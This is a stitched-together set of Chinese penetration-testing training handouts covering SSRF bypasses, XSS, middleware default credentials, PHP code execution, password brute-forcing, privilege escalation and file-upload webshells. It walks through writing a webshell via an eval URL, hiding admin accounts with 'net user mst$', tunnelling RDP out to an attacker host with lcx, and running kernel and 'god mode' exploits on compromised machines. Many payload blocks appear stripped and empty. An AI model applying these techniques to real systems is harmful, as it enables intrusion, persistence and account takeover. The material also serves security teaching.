184 | 此处得到的IP 不是我所在地址使用的IP,因此可以判断此处是由服务器发起的`http://www.baidu.com/s?wd=ip`请求得到的地址,自然是内部逻辑中发起请求的服务器的外网地址(为什么这么说呢,因为发起的请求的不一定是fanyi.baidu.com,而是内部其他服务器),那么此处是不是SSRF,能形成危害吗? 严格来说此处是SSRF,但是百度已经做过了过滤处理,因此形成不了探测内网的危害。
185 |
186 | ## 防御
187 |
188 | 通常有一下 5 个思路:
189 |
190 | 1. 过滤返回信息,验证远程服务器对请求的相应,是比较容易的方法。如果 Web 应用获取某种类型的文件,那么可以在把返回结果展示给用户之前先验证返回信息是否符合标准。
191 |
192 | 2. 统一错误信息,避免用户根据错误信息来判断远程服务器端口状态。
193 |
194 | 3. 限制请求的端口为 HTTP 常用端口,比如 80、443、8080、8090。
195 |
196 | 4. 黑名单内网 IP,避免应用被用来获取内网数据,攻击内网。
197 |
198 | 5. 禁用不需要的协议。仅仅允许 HTTP 和 HTTPS 请求。可以防止类似于`file://`、`gopher://`和`ftp://`等引起的问题。
199 |
200 | ## 绕过
201 |
202 | ### URL
203 |
204 | ```
205 | http://username:password@www.xxx.com:80/
206 | | | | | |
207 | 协议 用户名 密码 主机 端口
208 | ```
209 |
210 | 所以我们就可以使用这个格式来绕过:
211 |
212 | ```
213 | http://www.baidu.com@www.qq.com/
214 | ```
215 |
216 | ### IP 转换
217 |
218 | 转为数字:
219 |
220 | ```
221 | 127.0.0.1
222 | ```
223 |
224 | 转为十六进制:
225 |
226 | ```
227 | 0x7F.0x00.0x00.0x01
228 | 0x7F000001
229 | ```
230 |
231 | 转为八进制;
232 |
233 | ```
234 | 0177.0000.0000.0001
235 | ```
236 |
237 | ```
238 | C:\Users\asus\Desktop> ping 0x7F.0x00.0x00.0x01
239 |
240 | 正在 Ping 127.0.0.1 具有 32 字节的数据:
241 | 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
242 | 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
243 | 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
244 | 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
245 |
246 | 127.0.0.1 的 Ping 统计信息:
247 | 数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
248 | 往返行程的估计时间(以毫秒为单位):
249 | 最短 = 0ms,最长 = 0ms,平均 = 0ms
250 | C:\Users\asus\Desktop> ping 0x7F000001
251 |
252 | 正在 Ping 127.0.0.1 具有 32 字节的数据:
253 | 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
254 | 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
255 | 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
256 | 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
257 |
258 | 127.0.0.1 的 Ping 统计信息:
259 | 数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
260 | 往返行程的估计时间(以毫秒为单位):
261 | 最短 = 0ms,最长 = 0ms,平均 = 0ms
262 | C:\Users\asus\Desktop> ping 0177.0000.0000.0001
263 |
264 | 正在 Ping 127.0.0.1 具有 32 字节的数据:
265 | 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
266 | 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
267 | 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
268 | 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
269 |
270 | 127.0.0.1 的 Ping 统计信息:
271 | 数据包: 已发送 = 4,已接收 = 4,丢失 = 0 (0% 丢失),
272 | 往返行程的估计时间(以毫秒为单位):
273 | 最短 = 0ms,最长 = 0ms,平均 = 0ms
274 | ```
275 |
276 | ### URL 跳转
277 |
278 | ```
279 |
280 | ```
281 |
282 | 保存为`urllocation.php`然后部署,之后可以用`http:///urllocation.php?url=`来跳转。
283 |
284 | ### 短网址
285 |
286 | 百度:
287 |
288 | ### [xip.io](http://xip.io)
289 |
290 | ```
291 | gg gg
292 | "" ""
293 | ,gg, ,gg gg gg,gggg, gg ,ggggg,
294 | ""8b,dP" 88 I8P" "Yb 88 dP" "Y8ggg
295 | ,88" 88 I8' ,8i 88 i8' ,8I
296 | ,dP"Y8, _,88,_,I8 _ ,d8' d8b _,88,_,d8, ,d8'
297 | dP" "Y888P""Y8PI8 YY88888P Y8P 8P""Y8P"Y8888P"
298 | I8
299 | I8 wildcard DNS for everyone
300 | ""
301 |
302 | What is xip.io?
303 | xip.io is a magic domain name that provides wildcard DNS
304 | for any IP address. Say your LAN IP address is 10.0.0.1.
305 | Using xip.io,
306 |
307 | 10.0.0.1.xip.io resolves to 10.0.0.1
308 | www.10.0.0.1.xip.io resolves to 10.0.0.1
309 | mysite.10.0.0.1.xip.io resolves to 10.0.0.1
310 | foo.bar.10.0.0.1.xip.io resolves to 10.0.0.1
311 |
312 | ...and so on. You can use these domains to access virtual
313 | hosts on your development web server from devices on your
314 | local network, like iPads, iPhones, and other computers.
315 | No configuration required!
316 |
317 | How does it work?
318 | xip.io runs a custom DNS server on the public Internet.
319 | When your computer looks up a xip.io domain, the xip.io
320 | DNS server extracts the IP address from the domain and
321 | sends it back in the response.
322 |
323 | Does xip.io cost anything?
324 | Nope! xip.io is a free service from Basecamp, the
325 | creators of Pow. We were tired of jumping through hoops
326 | to test our apps on other devices and decided to solve
327 | the problem once and for all.
328 |
329 | © 2012-2014 Sam Stephenson, Basecamp
330 | ```
331 |
332 | ## 附录
333 |
334 | + [SSRF漏洞的挖掘经验](https://www.sobug.com/article/detail/11)
335 |
336 |
--------------------------------------------------------------------------------
/漏洞篇 XSS.md:
--------------------------------------------------------------------------------
1 | # 米斯特白帽培训讲义 漏洞篇 XSS
2 |
3 | > 讲师:[gh0stkey](https://www.zhihu.com/people/gh0stkey/answers)
4 |
5 | > 整理:[飞龙](https://github.com/)
6 |
7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
8 |
9 | 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS 。恶意攻击者往 Web 页面里插入恶意 JavaScript 代码,当用户浏览器该页之时,嵌入 Web 页面里的代码会被执行,从而达到恶意攻击用户的目的。
10 |
11 | 
12 |
13 | ## Payload
14 |
15 | Payload 的中文含义是有效载荷,在 XSS 中指代攻击代码或攻击语句。
16 |
17 | 常见的 Payload 有:
18 |
19 | + 正常弹窗
20 | + ``
21 | + `
`
22 | + 弹出网站 Cookie
23 | + ``
24 | + `
`
25 |
26 | ## 分类
27 |
28 | 总共有三种
29 |
30 | + 反射型:Payload 经过后端,不经过数据库
31 |
32 | + 存储型:Payload 经过后端,经过数据库
33 |
34 | + DOM:Payload 不经过后端
35 |
36 | ## 原理:反射型
37 |
38 | 非持久化,需要欺骗用户点击链接才能触发 XSS 代码(数据库中没有这样的页面和内容)。Payload 一般存在于 URL 或者 HTTP 正文中,需要构造页面,或者构造 URL。
39 |
40 | 将这段代码保存为`xss.php`。
41 |
42 | ```php
43 |
46 | 反射型 XSS 演示
47 |
51 | alert(1)`,之后点击`test`:
65 |
66 | 
67 |
68 | 我们可以看到弹窗,也就是我们输入的 HTML 代码被执行了。
69 |
70 | 之后我们查看元素,这表明,我们输出的内容直接插入到了页面中,解释为``注入到反射型 XSS 的演示页面中。
186 |
187 | 
188 |
189 | 提交之后页面没什么动静,但是我们查看利用平台,可以发现新增了一条数据:
190 |
191 | 
192 |
193 | ## 附录:
194 |
195 | + [XSS 过滤绕过备忘单](http://cheatsheets.hackdig.com/?4.htm)
196 |
197 | + [HTML5 安全备忘单](https://html5sec.org/)
198 |
199 | + [新手指南:DVWA-1.9全级别教程之XSS](http://www.freebuf.com/articles/web/123779.html)
200 |
201 | + [那些年我们一起学XSS](https://www.gitbook.com/book/wizardforcel/xss-naxienian/details)
202 |
--------------------------------------------------------------------------------
/漏洞篇 中间件.md:
--------------------------------------------------------------------------------
1 | # 米斯特白帽培训讲义 漏洞篇 Web 中间件
2 |
3 | > 讲师:[gh0stkey](https://www.zhihu.com/people/gh0stkey/answers)
4 |
5 | > 整理:[飞龙](https://github.com/)
6 |
7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0)
8 |
9 | ## 简介
10 |
11 | 中间件是一种独立的系统软件或服务程序,分布式应用软件借助这种软件在不同的技术之间共享资源。中间件位于客户机/ 服务器的操作系统之上,管理计算机资源和网络通讯。是连接两个独立应用程序或独立系统的软件。相连接的系统,即使它们具有不同的接口,但通过中间件相互之间仍能交换信息。执行中间件的一个关键途径是信息传递。通过中间件,应用程序可以工作于多平台或OS环境。(百度百科)
12 |
13 | ## 常见的中间件
14 |
15 | 这些中间件是 Java Web 的容器。都可以上传 war 包。打包命令:
16 |
17 | ```
18 | jar -cvf
19 | ```
20 |
21 | 比如:
22 |
23 | ```
24 | jar -cvf test.war test.jsp
25 | jar -cvf test.war D:\Project\Test
26 | ```
27 |
28 | 上传之后访问:
29 |
30 | ```
31 | /<包名>/
32 | ```
33 |
34 | 比如包名是`test`,文件名是`test.jsp`,那么访问`/test/test.jsp`。如果存在一个 Servlet 映射到了`/test`,那么访问`/test/test`。
35 |
36 | ### Tomcat
37 |
38 | 
39 |
40 | ### Weblogic
41 |
42 | 
43 |
44 | ### JBoss
45 |
46 | 
47 |
48 | ### JOnAS
49 |
50 | 
51 |
52 | ### WebSphere
53 |
54 | 
55 |
56 | ## 常见漏洞
57 |
58 | + 弱口令
59 | + java反序列
60 | + 未授权
61 | + 代码执行
62 |
63 | ## 常见弱口令
64 |
65 | ### Tomcat
66 |
67 | + `tomcat:tomcat`
68 | + ...
69 |
70 | ### Weblogic
71 |
72 | + `weblogic:weblogic`
73 | + `system:system`
74 | + `portaladmin:portaladmin`
75 | + `guest:guest`
76 | + `weblogic:admin123`
77 | + `weblogic:weblogic123`
78 | + ...
79 |
80 | ### JBoss
81 |
82 | + `jboss:jboss`
83 | + `admin:admin`
84 | + ...
85 |
86 | ### JOnAS
87 |
88 | + `jadmin:jonas`
89 | + `tomcat:tomcat`
90 | + `jonas:jonas`
91 | + ...
92 |
93 | ## 搜索
94 |
95 | ### 默认端口
96 |
97 | + Tomcat:8080(Web、Console)、...
98 | + WebLogic:7001、7002(Web、Console)、...
99 | + JBoss:8080(Web)、9990(Console)、...
100 | + WebSphere:9080、9443(Web)、9060、9043(Console)、...
101 | + JOnAS:9000、...
102 |
103 | 使用 oshadan 或者`nmap -p`扫描。
104 |
105 | ### 默认路径
106 |
107 | + Tomcat:`http://:8080/manager/html`
108 | + WebLogic:`http://:7001/console/`
109 | + JOnAS:`http://:9000/jonasAdmin/`
110 | + JBoss:`http://:9990`
111 | + WebSphere:`http://:7043/ibm/console/logon.jsp`
112 |
113 | 使用`inurl:`来寻找。
114 |
115 | ## 附录
116 |
117 | + [常见 web 中间件拿 shell](http://www.2cto.com/article/201306/221832.html)
--------------------------------------------------------------------------------
/漏洞篇 代码执行.md:
--------------------------------------------------------------------------------
1 | # 米斯特白帽培训讲义 漏洞篇 代码执行
2 |
3 | > 讲师:[gh0stkey](https://www.zhihu.com/people/gh0stkey/answers)
4 |
5 | > 整理:[飞龙](https://github.com/)
6 |
7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
8 |
9 |
10 | ## 原理
11 |
12 | 由于开发人员编写源码时,没有针对代码中可执行的特殊函数入口做过滤,导致客户端可以提交恶意构造语句,并交由服务端执行。命令注入攻击中,Web 服务器没有过滤类似`system`、`eval`和`exec`等函数,是该漏洞攻击成功的主要原因。
13 |
14 | ## 实例代码
15 |
16 | ```php
17 | Payload:".$code."
Result:
21 | eval($code);
22 | ```
23 |
24 | 整个代码就三行,第一行用于从 URL 参数中读取`code`参数的值。第二行用于输出该参数的值,用于检查该参数。第三行直接将该参数当做 PHP 代码执行。由于不存在任何过滤,就会产生代码执行漏洞。
25 |
26 | 我们在该文件的目录下执行`php -S 0.0.0.0:80`,之后访问`http://localhost/code-exe.php?code=phpinfo();`,我们可以看到该代码执行了`phpinfo`函数:
27 |
28 | 
29 |
30 | ## 利用
31 |
32 | 我们可以将 URL 中`code`参数值换成不同的 PHP 代码,使其执行不同的 PHP 代码。利用此漏洞的关键还是熟悉所有可用的 PHP 代码。
33 |
34 | 比如,可以使用`phpinfo`或者`echo`等调试函数来判定漏洞。最重要的是,可以利用这个漏洞写入 Webshell,代码如下:
35 |
36 | ```php
37 | $file='mst.php'; // 一句话木马的文件名
38 | $person=''; // 一句话文件名的代码
39 | file_put_contents($file,$person, FILE_APPEND | LOCK_EX); // 当key.php文件不存在会自动创建,如果存在就会添加
40 | ```
41 |
42 | 我们需要把这三行代码写入 URL 中,得到的 URL 是这样:`http://localhost/code-exe.php?code=$file='mst.php';$person='';file_put_contents($file,$person, FILE_APPEND | LOCK_EX);`。
43 |
44 | 访问之后,当前目录就会多出一个`mst.php`,内容为``,这个就是一句话木马。由于不是讲工具的章节,这里就不拿菜刀演示了。
45 |
46 | 在实际代码中,当然不可能这么短,就需要大家使用`eval`和`exec`作为关键词来搜索可能的漏洞点。另外,实际代码中还可能在执行之前对`$code`进行过滤,也需要大家发挥创造性,绕过过滤来成功利用它。
47 |
48 | ## 附录
49 |
50 | + [新手指南:DVWA-1.9全级别教程之Command Injection](http://www.freebuf.com/articles/web/116714.html)
51 |
--------------------------------------------------------------------------------
/漏洞篇 弱口令.md:
--------------------------------------------------------------------------------
1 | # 米斯特白帽培训讲义 漏洞篇 弱口令、爆破、遍历
2 |
3 | > 讲师:[gh0stkey](https://www.zhihu.com/people/gh0stkey/answers)
4 |
5 | > 整理:[飞龙](https://github.com/)
6 |
7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
8 |
9 | ## 成因
10 |
11 | 弱口令没有严格和准确的定义,通常认为容易被别人(它们有可能对你很了解)猜测或被破解工具破解的口令均为弱口令。弱口令指的是仅包含简单数字和字母的口令,例如"123"、"abc"等,因为这样的口令很容易被别人破解。
12 |
13 | 通过爆破工具就可以很容易破解用户的弱口令。
14 |
15 | ## 危害
16 |
17 | 
18 |
19 | 中石油的多个加油站的视频监控被入侵,我们可以通过它们看一些隐私。也可以通过它把监控器关掉,来进行一些非法活动。
20 |
21 | ## 分类
22 |
23 | ### 普通型
24 |
25 | 普通型弱口令就是常见的密码,比如,目前网络上也有人特地整理了常用的弱口令(Top 100):
26 |
27 | ```
28 | 123456 a123456 123456a 5201314 111111 woaini1314 qq123456 123123 000000 1qaz2wsx 1q2w3e4r
29 | qwe123 7758521 123qwe a123123 123456aa woaini520 woaini 100200 1314520 woaini123 123321
30 | q123456 123456789 123456789a 5211314 asd123 a123456789 z123456 asd123456 a5201314 aa123456
31 | zhang123 aptx4869 123123a 1q2w3e4r5t 1qazxsw2 5201314a 1q2w3e aini1314 31415926 q1w2e3r4
32 | 123456qq woaini521 1234qwer a111111 520520 iloveyou abc123 110110 111111a 123456abc w123456
33 | 7758258 123qweasd 159753 qwer1234 a000000 qq123123 zxc123 123654 abc123456 123456q qq5201314
34 | 12345678 000000a 456852 as123456 1314521 112233 521521 qazwsx123 zxc123456 abcd1234 asdasd
35 | 666666 love1314 QAZ123 aaa123 q1w2e3 aaaaaa a123321 123000 11111111 12qwaszx 5845201314
36 | s123456 nihao123 caonima123 zxcvbnm123 wang123 159357 1A2B3C4D asdasd123 584520 753951 147258
37 | 1123581321 110120 qq1314520
38 | ```
39 |
40 | 对于网站后台而言,一般为:
41 |
42 | + admin
43 | + manager
44 | + admin123
45 | + admin888
46 | + admin666
47 | + ...
48 |
49 | 具体来说,不同的后台类型拥有不同的弱密码:
50 |
51 | + 数据库(phpmyadmin)
52 | + 账号:root
53 | + 密码:root、root123、123456
54 | + tomcat
55 | + 账号:admin、tomcat、manager
56 | + 密码:admin、tomcat、admin123、123456、manager
57 | + jboss
58 | + 账号:admin、jboss、manager
59 | + 密码:admin、jboss、manager、123456
60 | + weblogic
61 | + 账号:weblogic、admin、manager
62 | + 密码:weblogic、admin、manager、123456
63 |
64 | ### 条件型
65 |
66 | 条件型弱口令就是和用户信息相关的密码,比如生日+手机号、姓名首字母+生日、爱人姓名首字母+生日+常用字母(520、1314 等)。
67 |
68 | 我们可以使用这个[猜密码的网站](http://www.caimima.net)来生成条件弱口令字典。
69 |
70 | 
71 |
72 | 比如我们知道一个人,他的信息如下:
73 |
74 | + 姓名:王小二
75 | + 邮箱:412391882@qq.com
76 | + 英文名:twowang
77 | + 手机号:110
78 |
79 | 那我们就可以在这个网站上输入这些信息,然后点击下方的“提交”。
80 |
81 | 
82 |
83 | 然后我们就得到了这个最有可能的密码。
84 |
85 | 
86 |
87 | 点击“查看更多”之后还可以获取更多弱口令。
88 |
89 | ## 实战
90 |
91 | 比如说,我们使用这样一段代码来演示弱口令漏洞,它模拟了某个系统的后台。
92 |
93 | ```php
94 |
96 | Start Attack`菜单栏),我们会看到结果列表。
164 |
165 | 
166 |
167 | 
168 |
169 | 我们点击`Length`表头,让它按照长度来排序。可以发现有一个项目的长度与其它明显不同,那么它就是正确的结果。
170 |
171 | 
172 |
173 | ## PKAV Fuzzer
174 |
175 | 我们可以在[这里](http://www.pkav.net/tool/fuzzer/)下载工具。
176 |
177 | 我下载的版本的 1.5.6,我就可以双击`Pkav HTTP Fuzzer 1.5.6.exe`来打开它。另外目录下还有一份使用手册,`Pkav HTTP Fuzzer使用手册 Ver 1.0.pdf`,大家可以参考这个手册。这个教程只会讲用到的功能。
178 |
179 | 它的主界面是这样的:
180 |
181 | 
182 |
183 | 左边是“请求包”输入框,我们需要填写整个 HTTP 封包(就是 Burp 中的`Proxy -> Intercept`选项卡中的内容),我们将其复制过来。然后我们选中`pw`位置的`admin`,点击下面的“添加标记”:
184 |
185 | 
186 |
187 | 我们再来看看右边的“重放设置”,“重放模式”和“变体赋值”都不用改动,我们点击下方的“导入”按钮,选择之前的`top100.txt`。
188 |
189 | 
190 |
191 | 之后再“添加”按钮右边的输入框中输入`admin888`,然后点击“添加”。
192 |
193 | 
194 |
195 | 然后我们点击下方的“发包器”选项卡,在新的界面中直接点“启动”:
196 |
197 | 
198 |
199 | 然后我们点击“长度”表头,让它按照长度排序。
200 |
201 | 
202 |
203 | 我们可以看到,仅当密码为`admin888`时长度为 6,其它都是其它数值,那么它就是正确密码。
204 |
205 | ## Burp Suite 遍历
206 |
207 | 比如这段代码,我们将其保存为`info.php`:
208 |
209 | ```php
210 | 讲师:[gh0stkey](https://www.zhihu.com/people/gh0stkey/answers)
4 |
5 | > 整理:[飞龙](https://github.com/)
6 |
7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
8 |
9 | 提权,顾名思义就是提高自己在服务器中的权限,就比如在 Windows 中你本身登录的用户是 guest,通过提权后就变成超级管理员,拥有了管理 Windows 的所有权限。提权是黑客的专业名词,一般用于网站入侵和系统入侵。本讲义所讲的是基于 WebShell 的菜刀管理下提权。
10 |
11 | 
12 |
13 | ## 基本 Dos 命令、常识
14 |
15 | + `whoami`:查看当前用户名,用于查看权限大小。
16 | + `ipconfig`:显示当前 TCP/IP 配置,用于查看 IP。
17 | + `net user`:查看当前系统的所有用户。
18 | + `net user <用户名> <用户密码> /add`:创建用户。
19 | + `net localgroup administrators <用户名> /add`:将用户加入`administrators`用户组。
20 | + 远程连接默认端口:3389。
21 |
22 | 下面拿菜刀中的 Shell 演示一遍这几个命令。
23 |
24 | 首先是`whoami`,可以看到`administrator`,应该是管理员。
25 |
26 | 
27 |
28 | 然后是`ipconfig`,我们可以看到`192.168.175.129`,这是内网的 IP。
29 |
30 | 
31 |
32 | 然后是`net user`:
33 |
34 | 
35 |
36 | 知道这些用户之后,我们需要创建自己的用户`mst`。创建后再执行`net user`,可以看到创建成功:
37 |
38 | 
39 |
40 | 接下来我们创建一个名为`mst$`的用户:
41 |
42 | 
43 |
44 | 可以看到它并没有显示在用户列表中,之后我们再执行`net user mst$`:
45 |
46 | 
47 |
48 | 它又是确实存在的,这就是隐藏用户的一个小技巧。
49 |
50 | 之后我们把`mst$`添加到管理员组中,并且查看它的信息,我们发现它成功刚添加到了管理员组中。
51 |
52 | 
53 |
54 | 现在我们查看远程连接的端口,首先执行`tasklist /svc`,寻找`TermService`:
55 |
56 | 
57 |
58 | 我们看到它的 PID 为 1504。之后执行`netstat -ano`:
59 |
60 | 
61 |
62 | 寻找 PID 为 1504 的一行,可以看到它的端口是 3389。
63 |
64 | 需要远程连接的时候,输入刚刚创建的用户名和密码就可以了。
65 |
66 | ## 突破限制
67 |
68 | 假如说我们在实际情况中看到了`[Err]拒绝访问`:
69 |
70 | 
71 |
72 | 那我们可以找到自己电脑上的`cmd.exe`,然后上传上去。比如上传路径如下:
73 |
74 | 
75 |
76 | 我们就可以执行`setp <路径>\cmd.exe`:
77 |
78 | 
79 |
80 | 我们再来看各种命令:
81 |
82 | 
83 |
84 | 
85 |
86 | `net user`还是拒绝访问的,我们用老方法,找到自己电脑中的`net.exe`,然后传上去。之后执行`<路径>\net.exe user`:
87 |
88 | 
89 |
90 | 可以看到突破了限制。
91 |
92 | ## 端口转发
93 |
94 | 在提权过程中,我们经常碰到这样的情况:
95 |
96 | 
97 |
98 | 我们可以看到 WebShell 的主机处于内网下,内网的意思就是说,它能连接别人,但别人不能连接它,就跟连接路由器的个人电脑差不多。
99 |
100 | 那么这种情况下,我们就需要用到端口转发工具`lcx.exe`,除此之外,还需要一台拥有外网 IP 的主机。这里我们把内网的主机叫做肉鸡,独立 IP 主机叫做本机。
101 |
102 | 将`lcx.exe`上传至本机和肉鸡之后,首先确定本机的 IP 为`119.90.140.191`:
103 |
104 | 
105 |
106 | 然后我们在本机执行:
107 |
108 | ```
109 | lcx.exe -listen 51 3388
110 | ```
111 |
112 | 
113 |
114 | 这条命令的意思就是说,监听本机的 51 和 3388 端口,并将两个端口互相转发,端口 51 的入境流量发给端口 3388,反之亦然。其中 51 是用于肉鸡连接的端口。3388 是用于我们的远程连接客户端连接的端口,为了避免与本机的远程连接服务冲突,选择了 3388。大家可以自行选择其他未占用端口。
115 |
116 | 然后我们在肉鸡上执行:
117 |
118 | ```
119 | lcx.exe -slave 119.90.140.191 51 127.0.0.1 3389
120 | ```
121 |
122 | 
123 |
124 | 这条命令连接肉鸡的 3389 端口,和本机的 51 端口,并互相转发。
125 |
126 | 之后,我们在本机或其他主机上使用远程连接客户端,连接`119.90.140.191:3388`,可以看到`lcx`中显示了转发的信息。
127 |
128 | 
129 |
130 | 远程连接客户端的封包会发给主机的`lcx`,之后会发给肉鸡的`lcx`,之后会发给肉鸡的远程连接服务。响应封包会按原路返回。
131 |
132 | 等待一会儿之后,我们成功连接了肉鸡的远程桌面:
133 |
134 | 
135 |
136 | ## Windows Exp 提权
137 |
138 | Exp 提权用于普通方式不好用的时候。
139 |
140 | 首先我们通过`systeminfo`查看补丁:
141 |
142 | 
143 |
144 | 我们可以看到它安装了`Q147222`。
145 |
146 | 然后我们使用[GetRoot Tools](https://github.com/gh0stkey/GetRoot-Tools)工具,打开它,主界面是这样的:
147 |
148 | 
149 |
150 | 我们选中上面的 Windows 2003,然后把`[01]: Q147222`复制到上方的输入框中。之后点击`Search`:
151 |
152 | 
153 |
154 | 这就是我们可以使用的 Exp。我们随便选择一个,比如`MS15-051`。我们可以在课件中的 MS 提权集(`提权-扩大战果/扩大战果-提权之Exploit提权&上帝之门(Windows).zip -> ms提权集/ms15-051/ms15-051`)中找到它。
155 |
156 | 我们需要根据系统的版本来选择 Exp,这里系统是 32 位的,我们就应该选择`Win32/32.exe`。上传之后,我们可以使用`dir`命令在目录中看到它:
157 |
158 | 
159 |
160 | 它的使用方法是` ""`,例如,我们执行`net user`:
161 |
162 | 
163 |
164 | 我们可以看到命令执行成功。
165 |
166 | ## 上帝之门
167 |
168 | 上帝之门 Exp 用于开启 Windows 的“上帝模式”,即任意账户无密码登录。它需要能上传并且执行 EXE 文件。使用方法为`NtGodMode.exe [ON|OFF]`。我们可以在课件中(`提权-扩大战果/扩大战果-提权之Exploit提权&上帝之门(Windows).zip -> NtGodMode.exe`)找到它。
169 |
170 | 上传之后,执行`NtGodMode.exe ON`:
171 |
172 | 
173 |
174 | 然后通过远程连接登录目标主机,将用户名输入为`admin`,密码任意填写。
175 |
176 | 
177 |
178 | 可以进入目标主机。
179 |
180 | 
181 |
182 | 注意,必须是输入已有用户名,不存在的用户名是不行的。
183 |
184 | ## Linux Exp 提权
185 |
186 | 首先根据`uname -a`查看内核版本,之后根据内核版本找 Exp:
187 |
188 | 
189 |
190 | 之后我们执行以下命令来编译:
191 |
192 | ```
193 | gcc -pthread exp.c -o exp
194 | ```
195 |
196 | 然后执行`./exp`来执行 Exp。我们一开始的用户可能是`xxx@yyy`,执行之后就变成了`root@yyy`,这样就算提权成功。
197 |
198 | ## 附录
199 |
200 | + [米斯特白帽子培训第二期视频教程](http://bbs.ichunqiu.com/thread-19368-1-1.html)
201 |
202 | + [Kali Linux 秘籍 第七章 权限提升](http://www.jianshu.com/p/0c26e7eaf226)
203 |
204 | + [CVE-2016-5195 脏牛漏洞](http://m.bobao.360.cn/learning/detail/3123.html)
205 |
--------------------------------------------------------------------------------
/漏洞篇 文件上传.md:
--------------------------------------------------------------------------------
1 | # 米斯特白帽培训讲义 漏洞篇 文件上传
2 |
3 | > 讲师:[gh0stkey](https://www.zhihu.com/people/gh0stkey/answers)
4 |
5 | > 整理:[飞龙](https://github.com/)
6 |
7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0)
8 |
9 | 我们首先看一下文件上传的流程图。
10 |
11 | 
12 |
13 | 其中,浏览器通过上传页面将文件储存到服务器中。一般这些上传页面都会有限制(比如限制格式为`jpg/gif/png`等等,或者限制文件大小)。
14 |
15 | 我们所关注的这个上传页面,一旦限制了文件就可能导致我们的渗透测试失败。那么真的完全失败了吗?后面会讲到很多方法,代码本身我们突破不了,但是我们可以用这些方法来绕过限制。
16 |
17 | 漏洞页面大致分为两种,一种是不限制任何格式,随意上传,这种现在比较少了。另一种是限制`Content-type`,虽然它限制了文件类型,但我们就可以突破它。
18 |
19 | ## 一句话
20 |
21 | 我们利用文件上传漏洞的目的是拿到 WebShell,也就是取得一定的服务器权限。一句话是指``,其中`$_POST`数组中的名称通常叫做密码,可以随意更改。如果服务器存在含有这个代码的脚本,我们就可以访问它,并传入我们想要的代码来执行。
22 |
23 | 一句话有很多优点,首先,比起完整的木马,它的特征比较少,不容易被防火墙发现。其次,就算被发现,也可以轻易利用 PHP 的动态特性,对其进行混淆和变形。
24 |
25 | 通常我们使用菜刀这个工具来连接和管理 WebShell,详细的使用方法见下面的实战部分。
26 |
27 | ## 任意文件上传
28 |
29 | 看一下这段代码:
30 |
31 | ```php
32 |
37 | ";
41 | print_r($_FILES);
42 | echo "";
43 | $uploaddir='upfile/';
44 | $PreviousFile=$uploaddir.basename(@$_FILES['userfile']['name']);
45 | if(move_uploaded_file(@$_FILES['userfile']['tmp_name'], $PreviousFile))
46 | echo '上传成功!';
47 | else
48 | echo '上传失败!';
49 | ```
50 |
51 | 首先是一个文件上传表单,我们可以看到表单中多了一个`enctype`属性,是因为文件上传的格式和之前不一样,不加这个就无法识别了。
52 |
53 | 然后会检查是否接受到了上传文件,没有接收到就直接结束。之后会打印出文件信息,便于我们调试。之后将上传文件的名称和保存上传文件的目录拼接,将文件从临时目录移动到这个目录。最后输出成功或失败信息。
54 |
55 | 将其保存为`upfile.php`后,我们首先访问它并尝试上传一个文件。我们把一句话``写入`1.php`,然后把它上传到服务器。
56 |
57 | 
58 |
59 | 于是我们看到上传成功。
60 |
61 | 
62 |
63 | 我们可以看到打印出的文件信息,其中:
64 |
65 | + `userfile`是这个文件在数组中的索引,也是表单中的文件上传输入框的名称。
66 | + `name`是这个文件的文件名。
67 | + `type`是这个文件的类型。
68 | + `tmp_name`是这个文件的临时完整路径。
69 | + `error`是错误代码。
70 | + `size`是文件大小。
71 |
72 | 之后,尝试直接访问所上传的文件,发现访问成功。
73 |
74 | 
75 |
76 | 然后我们就可以拿菜刀连接了。
77 |
78 | 
79 |
80 | 我们可以看到连接成功,那么我们就成功地 GetShell 了。
81 |
82 | ## 文件类型限制
83 |
84 | 如果`upfile.php`的内容变成这样:
85 |
86 | ```php
87 |
92 | ";
96 | print_r($_FILES);
97 | echo "";
98 | if(@$_FILES['userfile']['type'] != "image/gif"){
99 | echo "对不起,我们只允许上传GIF格式的图片!!";
100 | exit;
101 | }
102 | $uploaddir='upfile/';
103 | $PreviousFile=$uploaddir.basename(@$_FILES['userfile']['name']);
104 | if(move_uploaded_file(@$_FILES['userfile']['tmp_name'], $PreviousFile))
105 | echo "上传成功!";
106 | else
107 | echo "上传失败!";
108 | ```
109 |
110 | 这段代码多出来的东西就是,它首先验证了文件类型,如果是`gif`则放过,不是则拦截。那么根据`multipart`编码类型,`type`这个东西在浏览器生成之后,是可以改的。我们可以通过 Burp 拦截并修改这个值。
111 |
112 | 首先我们打开 Burp,配置代理,访问`upfile.php`。之后开启拦截模式并上传一个文件:
113 |
114 |
115 | 我们拦截之后,找到`Content-Type`,发现他是`application/oct-stream`,我们把它改成`image/gif`,之后放行(可能需要多次,在我这里是这样)。
116 |
117 | 
118 |
119 | 
120 |
121 | 然后我们可以看到上传成功,上传目录中出现了我们上传的文件。
122 |
123 | 
124 |
125 | 
126 |
127 | ## 文件扩展名限制(补充)
128 |
129 | 现在,我们把`upfile.php`改成这样:
130 |
131 | ```php
132 |
137 | ";
